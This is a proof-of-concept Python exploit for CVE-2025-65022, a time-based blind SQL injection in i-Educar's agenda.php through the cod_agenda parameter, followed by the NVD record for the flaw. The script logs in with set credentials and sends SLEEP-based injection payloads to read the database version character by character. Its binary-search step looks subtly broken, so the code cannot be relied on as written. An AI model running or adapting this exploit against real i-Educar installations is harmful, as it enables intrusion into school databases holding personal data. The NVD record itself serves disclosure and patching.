CVE-2025-65022

# CVE-2025-65022 Time-based SQL Injection PoC # Target: i-Educar <= 2.10.0 # Location: ieducar/intranet/agenda.php # Authenticated Time-based SQL Injection via cod_agenda parameter import requests import time import string import sys TARGET_URL = "http://target.com/ieducar/intranet/agenda.php" LOGIN_URL = "http://target.com/ieducar/intranet/login.php" USERNAME = "admin" PASSWORD = "password" def login(session): """Authenticate to i-Educar and obtain session cookie""" data = { 'login': USERNAME, 'password': PASSWORD } resp = session.post(LOGIN_URL, data=data) return 'ieducar' in session.cookies.get_dict() def extract_data(session, payload): """Send malicious payload and measure response time""" start_time = time.time() params = {'cod_agenda': payload} try: resp = session.get(TARGET_URL, params=params, timeout=30) except requests.exceptions.Timeout: pass elapsed = time.time() - start_time return elapsed def binary_search_char(session, query): """Binary search to extract one character""" charset = string.printable low, high = 0, len(charset) - 1 while low <= high: mid = (low + high) // 2 char = charset[mid] # Time-based blind SQLi payload payload = f"1' AND IF({query}='{char}',SLEEP(3),0)-- -" elapsed = extract_data(session, payload) if elapsed >= 3: return char # Adjust search range based on character comparison payload_gt = f"1' AND IF({query}>{chr(127)},SLEEP(1),0)-- -" if extract_data(session, payload_gt) >= 1: low = mid + 1 else: high = mid - 1 return None def extract_database_version(session): """Extract database version using time-based injection""" query = "SUBSTRING(@@version,{},1)" result = "" for i in range(1, 20): char = binary_search_char(session, query.format(i)) if char: result += char else: break return result def main(): session = requests.Session() print("[*] Logging in to i-Educar...") if not login(session): print("[-] Authentication failed") sys.exit(1) print("[+] Authentication successful") print("[*] Extracting database version...") version = extract_database_version(session) print(f"[+] Database version: {version}") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-65022", "sourceIdentifier": "[email protected]", "published": "2025-11-19T16:15:49.417", "lastModified": "2025-11-20T17:24:07.987", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "i-Educar is free, fully online school management software. In versions 2.10.0 and prior, an authenticated time-based SQL injection vulnerability exists in the ieducar/intranet/agenda.php script. An attacker with access to an authenticated session can execute arbitrary SQL commands against the application's database. This vulnerability is caused by the improper handling of the cod_agenda request parameter, which is directly concatenated into multiple SQL queries without proper sanitization. This issue has been patched in commit b473f92."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:portabilis:i-educar:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.10.0", "matchCriteriaId": "877348AB-B600-47B3-A565-8198483C6414"}]}]}], "references": [{"url": "https://github.com/portabilis/i-educar/commit/b473f92b5326f45d7bce2de93a5381bed7ca8ac7", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/portabilis/i-educar/security/advisories/GHSA-4hrj-5gwx-r4w4", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}